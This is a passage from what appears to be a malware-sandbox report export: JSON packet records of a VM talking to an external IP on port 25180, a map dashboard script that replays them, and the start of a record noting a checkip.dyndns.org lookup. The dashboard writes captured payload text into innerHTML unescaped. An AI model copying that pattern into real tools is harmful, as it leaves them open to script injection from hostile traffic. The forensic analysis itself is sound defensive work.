21:59:28.655\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.90.162.118\", \"ttl\": 128, \"ip_id\": 31326, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50210, \"dst_port\": 25180, \"tcp_seq\": 2010040810, \"tcp_ack\": 4216113774, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 49, \"timestamp\": 1777220968.655806, \"timestamp_iso\": \"2026-04-26T21:59:28.655806\", \"timestamp_human\": \"2026-04-26 21:59:28.655\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.90.162.118\", \"ttl\": 128, \"ip_id\": 31327, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50210, \"dst_port\": 25180, \"tcp_seq\": 2010040810, \"tcp_ack\": 4216113774, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}], \"tcp_flags\": {\"SYN\": 3, \"ACK\": 15, \"PSH\": 6, \"FIN\": 3}, \"packet_sizes\": [66, 54, 58, 342, 54, 54, 66, 54, 58, 390, 54, 54, 66, 54, 58, 406, 54, 54], \"inter_packet_intervals\": [0.00024199485778808594, 0.2640500068664551, 0.00021600723266601562, 26.152477025985718, 0.018383026123046875, 0.0008590221405029297, 0.00016498565673828125, 0.0007729530334472656, 0.0002219676971435547, 18.36475419998169, 0.0002009868621826172, 0.0005638599395751953, 0.00011515617370605469, 0.0006349086761474609, 0.0001919269561767578, 9.909969091415405, 0.00020003318786621094], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 54.714017152786255, \"avg_packet_size\": 110.88888888888889, \"packets_per_second\": 0.3289833380308353, \"bytes_per_second\": 36.48059681719707, \"min_packet_size\": 54, \"max_packet_size\": 406, \"median_packet_size\": 58, \"avg_interval\": 3.2184715972227207, \"min_interval\": 0.00011515617370605469, \"max_interval\": 26.152477025985718}, {\"source\": \"185.90.162.118\", \"target\": \"192.168.122.168\", \"packet_count\": 15, \"total_bytes\": 846, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ports\": [25180], \"dst_ports\": [50181, 50200, 50210], \"first_packet\": 1777220913.941831, \"last_packet\": 1777220968.655828, \"packets\": [{\"packet_number\": 19, \"timestamp\": 1777220913.941831, \"timestamp_iso\": \"2026-04-26T21:58:33.941831\", \"timestamp_human\": \"2026-04-26 21:58:33.941\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.90.162.118\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 25180, \"dst_port\": 50181, \"tcp_seq\": 3595830527, \"tcp_ack\": 1740357465, \"tcp_window\": 42340, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 22, \"timestamp\": 1777220914.206108, \"timestamp_iso\": \"2026-04-26T21:58:34.206108\", \"timestamp_human\": \"2026-04-26 21:58:34.206\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.90.162.118\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 12727, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 25180, \"dst_port\": 50181, \"tcp_seq\": 3595830528, \"tcp_ack\": 1740357469, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 24, \"timestamp\": 1777220914.206309, \"timestamp_iso\": \"2026-04-26T21:58:34.206309\", \"timestamp_human\": \"2026-04-26 21:58:34.206\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.90.162.118\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 12728, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 25180, \"dst_port\": 50181, \"tcp_seq\": 3595830528, \"tcp_ack\": 1740357757, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 25, \"timestamp\": 1777220940.358617, \"timestamp_iso\": \"2026-04-26T21:59:00.358617\", \"timestamp_human\": \"2026-04-26 21:59:00.358\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.90.162.118\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 12729, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 25180, \"dst_port\": 50181, \"tcp_seq\": 3595830528, \"tcp_ack\": 1740357757, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 28, \"timestamp\": 1777220940.377187, \"timestamp_iso\": \"2026-04-26T21:59:00.377187\", \"timestamp_human\": \"2026-04-26 21:59:00.377\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.90.162.118\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 25180, \"dst_port\": 50181, \"tcp_seq\": 3595830529, \"tcp_ack\": 1740357758, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 30, \"timestamp\": 1777220940.378058, \"timestamp_iso\": \"2026-04-26T21:59:00.378058\", \"timestamp_human\": \"2026-04-26 21:59:00.378\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.90.162.118\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 25180, \"dst_port\": 50200, \"tcp_seq\": 106768471, \"tcp_ack\": 4179116417, \"tcp_window\": 42340, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 33, \"timestamp\": 1777220940.378968, \"timestamp_iso\": \"2026-04-26T21:59:00.378968\", \"timestamp_human\": \"2026-04-26 21:59:00.378\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.90.162.118\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 6748, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 25180, \"dst_port\": 50200, \"tcp_seq\": 106768472, \"tcp_ack\": 4179116421, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 35, \"timestamp\": 1777220940.379185, \"timestamp_iso\": \"2026-04-26T21:59:00.379185\", \"timestamp_human\": \"2026-04-26 21:59:00.379\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.90.162.118\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 6749, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 25180, \"dst_port\": 50200, \"tcp_seq\": 106768472, \"tcp_ack\": 4179116757, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 36, \"timestamp\": 1777220958.743709, \"timestamp_iso\": \"2026-04-26T21:59:18.743709\", \"timestamp_human\": \"2026-04-26 21:59:18.743\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.90.162.118\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 6750, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 25180, \"dst_port\": 50200, \"tcp_seq\": 106768472, \"tcp_ack\": 4179116757, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 39, \"timestamp\": 1777220958.744156, \"timestamp_iso\": \"2026-04-26T21:59:18.744156\", \"timestamp_human\": \"2026-04-26 21:59:18.744\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.90.162.118\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 25180, \"dst_port\": 50200, \"tcp_seq\": 106768473, \"tcp_ack\": 4179116758, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 41, \"timestamp\": 1777220958.744726, \"timestamp_iso\": \"2026-04-26T21:59:18.744726\", \"timestamp_human\": \"2026-04-26 21:59:18.744\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.90.162.118\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 25180, \"dst_port\": 50210, \"tcp_seq\": 4216113772, \"tcp_ack\": 2010040454, \"tcp_window\": 42340, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 44, \"timestamp\": 1777220958.745456, \"timestamp_iso\": \"2026-04-26T21:59:18.745456\", \"timestamp_human\": \"2026-04-26 21:59:18.745\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.90.162.118\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 11378, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 25180, \"dst_port\": 50210, \"tcp_seq\": 4216113773, \"tcp_ack\": 2010040458, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 46, \"timestamp\": 1777220958.745644, \"timestamp_iso\": \"2026-04-26T21:59:18.745644\", \"timestamp_human\": \"2026-04-26 21:59:18.745\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.90.162.118\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 11379, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 25180, \"dst_port\": 50210, \"tcp_seq\": 4216113773, \"tcp_ack\": 2010040810, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 47, \"timestamp\": 1777220968.65541, \"timestamp_iso\": \"2026-04-26T21:59:28.655410\", \"timestamp_human\": \"2026-04-26 21:59:28.655\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.90.162.118\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 11380, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 25180, \"dst_port\": 50210, \"tcp_seq\": 4216113773, \"tcp_ack\": 2010040810, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 50, \"timestamp\": 1777220968.655828, \"timestamp_iso\": \"2026-04-26T21:59:28.655828\", \"timestamp_human\": \"2026-04-26 21:59:28.655\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.90.162.118\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 25180, \"dst_port\": 50210, \"tcp_seq\": 4216113774, \"tcp_ack\": 2010040811, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}], \"tcp_flags\": {\"SYN\": 3, \"ACK\": 15, \"FIN\": 3}, \"packet_sizes\": [66, 54, 54, 54, 54, 66, 54, 54, 54, 54, 66, 54, 54, 54, 54], \"inter_packet_intervals\": [0.26427698135375977, 0.0002009868621826172, 26.152307987213135, 0.0185699462890625, 0.0008709430694580078, 0.0009100437164306641, 0.00021696090698242188, 18.364524126052856, 0.0004467964172363281, 0.0005700588226318359, 0.0007300376892089844, 0.0001881122589111328, 9.90976595878601, 0.00041794776916503906], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 54.71399688720703, \"avg_packet_size\": 56.4, \"packets_per_second\": 0.2741528832361218, \"bytes_per_second\": 15.462222614517268, \"min_packet_size\": 54, \"max_packet_size\": 66, \"median_packet_size\": 54, \"avg_interval\": 3.908142634800502, \"min_interval\": 0.0001881122589111328, \"max_interval\": 26.152307987213135}];\n        \n        // Unified Timeline Data\n        const allPackets = [];\n        edges.forEach(e => {\n            e.packets.forEach(p => {\n                allPackets.push({\n                    ...p,\n                    source: e.source,\n                    target: e.target,\n                    protocols: p.protocols\n                });\n            });\n        });\n        allPackets.sort((a, b) => a.timestamp - b.timestamp);\n\n        // Map Setup\n        const map = L.map('map', {\n            center: [20, 0],\n            zoom: 2,\n            minZoom: 2,\n            maxBounds: [[-90, -180], [90, 180]],\n            maxBoundsViscosity: 1.0,\n            worldCopyJump: false\n        });\n\n        L.tileLayer('https://{s}.basemaps.cartocdn.com/light_all/{z}/{x}/{y}{r}.png', {\n            attribution: '©OpenStreetMap, ©CartoDB',\n            noWrap: true,\n            bounds: [[-90, -180], [90, 180]]\n        }).addTo(map);\n\n        // Projection Helper for Private IPs\n        function getPos(node) {\n            if (node.is_private) {\n                // Place private nodes in the stylized \"Pvt Zone\" (North Pacific area)\n                // Offset slightly per node to avoid overlap\n                const idx = nodes.filter(n => n.is_private).indexOf(node);\n                const pvtLat = 50 + (idx % 5) * 2;\n                const pvtLon = -160 + Math.floor(idx / 5) * 5;\n                return [pvtLat, pvtLon];\n            }\n            return [node.geo.lat || 0, node.geo.lon || 0];\n        }\n\n        // Initialize positions\n        nodes.forEach(n => {\n            const pos = getPos(n);\n            n.currentLat = pos[0];\n            n.currentLon = pos[1];\n        });\n\n        // D3 Overlay\n        L.svg().addTo(map);\n        const svg = d3.select(map.getPanes().overlayPane).select(\"svg\");\n        const g = svg.append(\"g\").attr(\"class\", \"leaflet-zoom-hide\");\n\n        // Scale node radius by traffic volume\n        const nodeScale = d3.scaleSqrt()\n            .domain([0, d3.max(nodes, d => d.packet_count) || 100])\n            .range([5, 20]);\n\n        const link = g.selectAll(\".link\")\n            .data(edges)\n            .enter().append(\"path\")\n            .attr(\"class\", \"link\")\n            .attr(\"stroke\", e => e.threat_level === 'critical' ? '#ef4444' : '#94a3b8')\n            .attr(\"stroke-width\", 1.5)\n            .on(\"click\", (e, d) => inspectFlow(d));\n\n        const node = g.selectAll(\".node\")\n            .data(nodes)\n            .enter().append(\"circle\")\n            .attr(\"class\", \"node\")\n            .attr(\"r\", d => nodeScale(d.packet_count))\n            .attr(\"fill\", d => d.is_private ? \"#3b82f6\" : \"#10b981\")\n            .attr(\"stroke\", \"#fff\")\n            .attr(\"stroke-width\", 2)\n            .on(\"click\", (e, d) => inspectNode(d));\n\n        node.append(\"title\").text(d => d.ip);\n\n        function updatePositions() {\n            node.attr(\"cx\", d => map.latLngToLayerPoint([d.currentLat, d.currentLon]).x)\n                .attr(\"cy\", d => map.latLngToLayerPoint([d.currentLat, d.currentLon]).y);\n\n            link.attr(\"d\", d => {\n                const s = nodes.find(n => n.id === d.source);\n                const t = nodes.find(n => n.id === d.target);\n                if (!s || !t) return \"\";\n                const sp = map.latLngToLayerPoint([s.currentLat, s.currentLon]);\n                const tp = map.latLngToLayerPoint([t.currentLat, t.currentLon]);\n                return `M${sp.x},${sp.y}L${tp.x},${tp.y}`;\n            });\n        }\n\n        map.on(\"viewreset move\", updatePositions);\n        updatePositions();\n\n        // Stats\n        document.getElementById('stat-nodes').innerText = nodes.length;\n        document.getElementById('stat-edges').innerText = edges.length;\n        document.getElementById('stat-pkts').innerText = allPackets.length;\n\n        // --- Replay Logic ---\n        let replayIdx = 0;\n        let isPlaying = false;\n        let replayTimer = null;\n        const timeline = document.getElementById('timeline');\n        const timeDisplay = document.getElementById('time-display');\n\n        function toggleReplay() {\n            isPlaying = !isPlaying;\n            document.getElementById('play-icon').className = isPlaying ? \"fas fa-pause\" : \"fas fa-play\";\n            if (isPlaying) runReplay();\n            else clearInterval(replayTimer);\n        }\n\n        function runReplay() {\n            clearInterval(replayTimer);\n            replayTimer = setInterval(() => {\n                if (replayIdx >= allPackets.length) {\n                    toggleReplay();\n                    return;\n                }\n                processPacket(allPackets[replayIdx]);\n                replayIdx++;\n                const progress = (replayIdx / allPackets.length) * 100;\n                timeline.value = progress;\n            }, 150);\n        }\n\n        function seekReplay(val) {\n            const targetIdx = Math.floor((val / 100) * (allPackets.length - 1));\n            replayIdx = targetIdx;\n            if (allPackets[replayIdx]) {\n                processPacket(allPackets[replayIdx]);\n            }\n        }\n\n        function processPacket(pkt) {\n            timeDisplay.innerText = pkt.timestamp_human.split(' ')[1];\n            animatePacket(pkt.source, pkt.target);\n            updateLiveInspector(pkt);\n        }\n\n        function animatePacket(srcId, dstId) {\n            const s = nodes.find(n => n.id === srcId);\n            const t = nodes.find(n => n.id === dstId);\n            if (!s || !t) return;\n            \n            const sp = map.latLngToLayerPoint([s.currentLat, s.currentLon]);\n            const tp = map.latLngToLayerPoint([t.currentLat, t.currentLon]);\n\n            const p = g.append(\"circle\")\n                .attr(\"r\", 4)\n                .attr(\"class\", \"packet-particle\")\n                .attr(\"cx\", sp.x)\n                .attr(\"cy\", sp.y);\n\n            p.transition()\n                .duration(800)\n                .ease(d3.easeLinear)\n                .attr(\"cx\", tp.x)\n                .attr(\"cy\", tp.y)\n                .remove();\n        }\n\n        function updateLiveInspector(pkt) {\n            const srcNode = nodes.find(n => n.id === pkt.source);\n            const dstNode = nodes.find(n => n.id === pkt.target);\n            \n            const body = document.getElementById('inspect-body');\n            \n            // Format payload\n            let payloadHtml = \"\";\n            if (pkt.payload_preview) {\n                const hex = pkt.payload_preview.match(/.{1,2}/g).join(' ');\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (Hex)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 150px; overflow-y: auto; font-size: 0.7rem;\">${hex}</div>\n                `;\n            } else if (pkt.payload_ascii) {\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (ASCII)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 150px; overflow-y: auto; font-size: 0.7rem;\">${pkt.payload_ascii}</div>\n                `;\n            }\n\n            body.innerHTML = `\n                <div class=\"info-card\" style=\"border-left: 4px solid var(--accent-main)\">\n                    <div class=\"sec-title\">Live Replay Analysis</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Packet ID</span><span class=\"data-value\">#${pkt.packet_number}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Timestamp</span><span class=\"data-value\">${pkt.timestamp_human}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${pkt.protocols.join(' → ')}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Size</span><span class=\"data-value\">${pkt.size} Bytes</span></div>\n                </div>\n\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Source: ${pkt.source}</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Location</span><span class=\"data-value\">${srcNode.geo.city}, ${srcNode.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP / ASN</span><span class=\"data-value\">${srcNode.geo.isp} (AS${srcNode.geo.asn})</span></div>\n                </div>\n\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Destination: ${pkt.target}</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Location</span><span class=\"data-value\">${dstNode.geo.city}, ${dstNode.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP / ASN</span><span class=\"data-value\">${dstNode.geo.isp} (AS${dstNode.geo.asn})</span></div>\n                </div>\n\n                ${pkt.tcp_flags_str ? `<div class=\"info-card\"><div class=\"sec-title\">TCP Flags</div><div class=\"data-value\">${pkt.tcp_flags_str}</div></div>` : ''}\n                ${pkt.dns_query ? `<div class=\"info-card\"><div class=\"sec-title\">DNS Query</div><div class=\"data-value\">${pkt.dns_query}</div></div>` : ''}\n\n                <div class=\"info-card\">\n                    ${payloadHtml || '<div class=\"data-label\">No raw payload data</div>'}\n                </div>\n            `;\n        }\n\n        function inspectNode(d) {\n            document.getElementById('inspect-title').innerText = `Node: ${d.ip}`;\n            const body = document.getElementById('inspect-body');\n            body.innerHTML = `\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Investigation Metadata</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Country</span><span class=\"data-value\">${d.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">City</span><span class=\"data-value\">${d.geo.city}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP</span><span class=\"data-value\">${d.geo.isp}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ASN</span><span class=\"data-value\">${d.geo.asn}</span></div>\n                </div>\n                <div class=\"sec-title\">Traffic Intensity</div>\n                <div class=\"stat-grid\">\n                    <div class=\"stat-box\"><div class=\"stat-v\">${d.packet_count}</div><div class=\"stat-l\">Packets</div></div>\n                    <div class=\"stat-box\"><div class=\"stat-v\">${(d.total_bytes_sent/1024).toFixed(1)}</div><div class=\"stat-l\">KB Sent</div></div>\n                    <div class=\"stat-box\"><div class=\"stat-v\">${(d.total_bytes_received/1024).toFixed(1)}</div><div class=\"stat-l\">KB Recv</div></div>\n                </div>\n                <div class=\"sec-title\" style=\"margin-top:20px;\">Recent Packets</div>\n                ${d.packets.slice(-10).map(p => {\n                    const pStr = JSON.stringify(p).replace(/\"/g, '&quot;');\n                    return `\n                        <div class=\"packet-list-item\" onclick=\"showPacketDetails('${d.ip}', ${pStr})\">\n                            <span>#${p.num} - ${p.direction.toUpperCase()}</span>\n                            <span>${p.size}B</span>\n                        </div>\n                    `;\n                }).join('')}\n            `;\n        }\n\n        function inspectFlow(d) {\n            const s = nodes.find(n => n.id === d.source);\n            const t = nodes.find(n => n.id === d.target);\n            document.getElementById('inspect-title').innerText = `Flow: ${d.source} → ${d.target}`;\n            const body = document.getElementById('inspect-body');\n            body.innerHTML = `\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Flow Characteristics</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${d.protocols.join(', ')}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Total Traffic</span><span class=\"data-value\">${(d.total_bytes / 1024).toFixed(2)} KB</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Threat Level</span><span class=\"data-value\" style=\"color:${d.threat_level === 'low' ? 'var(--accent-success)' : 'var(--accent-danger)'}\">${d.threat_level.toUpperCase()}</span></div>\n                </div>\n                <div class=\"sec-title\">Packet Log</div>\n                ${d.packets.slice(-15).map(p => `\n                    <div class=\"packet-list-item\" style=\"border-left: 3px solid var(--accent-main)\">\n                        <div>\n                            <div style=\"font-weight:700\">#${p.packet_number} [${p.protocols[p.protocols.length-1]}]</div>\n                            <div style=\"font-size:0.75rem; color:var(--text-secondary)\">${p.timestamp_human.split(' ')[1]}</div>\n                        </div>\n                        <div style=\"text-align:right\">\n                            <div>${p.size}B</div>\n                        </div>\n                    </div>\n                `).join('')}\n            `;\n        }\n\n        function showPacketDetails(ip, p) {\n            const body = document.getElementById('inspect-body');\n            document.getElementById('inspect-title').innerText = `Packet Inspection`;\n            document.getElementById('inspect-subtitle').innerText = `IP: ${ip}`;\n            \n            let payloadHtml = \"\";\n            if (p.payload_preview) {\n                const hex = p.payload_preview.match(/.{1,2}/g).join(' ');\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (Hex)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 200px; overflow-y: auto; font-size: 0.7rem;\">${hex}</div>\n                `;\n            } else if (p.payload_ascii) {\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (ASCII)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 200px; overflow-y: auto; font-size: 0.7rem;\">${p.payload_ascii}</div>\n                `;\n            }\n\n            body.innerHTML = `\n                <div class=\"info-card\" style=\"border-left: 4px solid var(--accent-main)\">\n                    <div class=\"sec-title\">Packet Details</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Timestamp</span><span class=\"data-value\">${p.timestamp_human}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${p.protocols ? p.protocols.join(' → ') : 'N/A'}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Byte Size</span><span class=\"data-value\">${p.size}</span></div>\n                </div>\n\n                ${p.tcp_flags_str ? `<div class=\"info-card\"><div class=\"sec-title\">TCP Control Flags</div><div class=\"data-value\">${p.tcp_flags_str}</div></div>` : ''}\n                ${p.dns_query ? `<div class=\"info-card\"><div class=\"sec-title\">DNS Query Resolve</div><div class=\"data-value\">${p.dns_query}</div></div>` : ''}\n\n                <div class=\"info-card\">\n                    ${payloadHtml || '<div class=\"data-label\">No raw payload data available</div>'}\n                </div>\n                \n                <button class=\"btn\" onclick=\"zoomToWorld()\" style=\"width:100%; margin-top:10px; padding:10px;\">Return to Overview</button>\n            `;\n        }\n\n        function closePacketPanel() {\n            // No longer used as we use the side panel\n        }\n\n        function zoomToWorld() {\n            map.flyTo([20, 0], 2);\n        }\n    </script>\n</body>\n</html>\n"},{"_id":{"$oid":"69f0fd1b59a6632dae07de69"},"sha256":"c5ae6f6ec23fd8d5ba1343e49bf805bbc016545715a413227bd5afe9c795002e","timestamp":{"$date":"2026-04-29T10:06:02.848Z"},"analysis_successful":true,"csv_reports":{"network_analysis_domains_ips.csv":"name,ip,src,av detection,reputation,malicious,internal/ external\ncheckip.dyndns.org,132.226.247.73,HTTP Host,0/70,Neutral,No,External\nhttp://checkip.dyndns.org,132.226.247.73,HTTP URL,0/70,Neutral,No,External\n","forensic_timeline.csv":"timestamp,category,event,details\n0.0,NGrep,input: 